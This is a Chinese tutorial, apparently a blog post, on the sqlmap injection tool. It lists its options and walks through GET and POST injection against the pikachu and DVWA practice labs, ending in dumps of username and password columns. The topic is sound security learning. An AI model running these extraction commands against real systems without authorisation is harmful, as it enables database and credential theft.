sqlmap使用笔记

时间:2024-01-29 07:05:36

Sqlmap使用

sqlmap简介

sqlmap支持五种不同的注入模式:

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • --level=LEVEL       执行的测试级别(1-5, 默认 1)
  • --batch             永远不要要求用户输入,使用默认行为
  • -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
  • -g GOOGLEDORK       将谷歌dork的结果作为目标url

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。

    • -b, –banner 检索数据库管理系统的标识
    • –current-user 检索数据库管理系统当前用户
    • –current-db 检索数据库管理系统当前数据库
    • –is-dba 检测DBMS当前用户是否DBA
    • –users 枚举数据库管理系统用户
    • –passwords 枚举数据库管理系统用户密码哈希
    • –privileges 枚举数据库管理系统用户的权限
    • –roles 枚举数据库管理系统用户的角色
    • –dbs 枚举数据库管理系统数据库
    • -D DBname 要进行枚举的指定数据库名
    • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
    • –tables 枚举的DBMS数据库中的表
    • –columns 枚举DBMS数据库表列
    • –dump 转储数据库管理系统的数据库中的表项
    • –dump-all 转储所有的DBMS数据库表中的条目
    • –search 搜索列(S),表(S)和/或数据库名称(S)
    • -C COL 要进行枚举的数据库列
    • -U USER 用来进行枚举的数据库用户
    • –exclude-sysdbs 枚举表时排除系统数据库
    • –start=LIMITSTART 第一个查询输出进入检索
    • –stop=LIMITSTOP 最后查询的输出进入检索
    • –first=FIRSTCHAR 第一个查询输出字的字符检索
    • –last=LASTCHAR 最后查询的输出字字符检索
    • –sql-query=QUERY 要执行的SQL语句
    • –sql-shell 提示交互式SQL的shell

get型注入

0x00

对url检测看是否存在注入

sqlmap.py -u "url" --batch

  --batch             永远不要要求用户输入,使用默认行为

 

 

0x01

确认存在注入,指定数据库类型暴库

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch

结果如下:

 

 

0x02

枚举指定数据库中的表

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch

结果如下:

 

 

0x03

枚举指定表中字段

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch

结果:

 

 

0x04

dump出password和username字段的数据

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch

结果如下:

 

 到这就完了,更多参数自己尝试

post型注入

0x00

首先用burpsuite抓包工具抓取要测试的目标站点包,再把请求包复制到sqlmap目录下创建一个url.txt文件。

之后使用-r参数开始跑

sqlmap.py -r url.txt

 0x01

获取到数据库类型和注入类型之后开始暴库

使用-dbs列出数据库名

sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),-dbs列出数据库名
得到结果如下:

 

 

 0x02

 枚举指定数据库中的表

这里演示枚举dvwa库中的表

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables

结果如下:

 

 

 0x03

接下来继续枚举表中的字段

这里演示users表

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns

结果如下:

 

 

 0x04

dump出password和user字段的数据

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump

选项全部默认,结果如下:

 

 

到此就结束了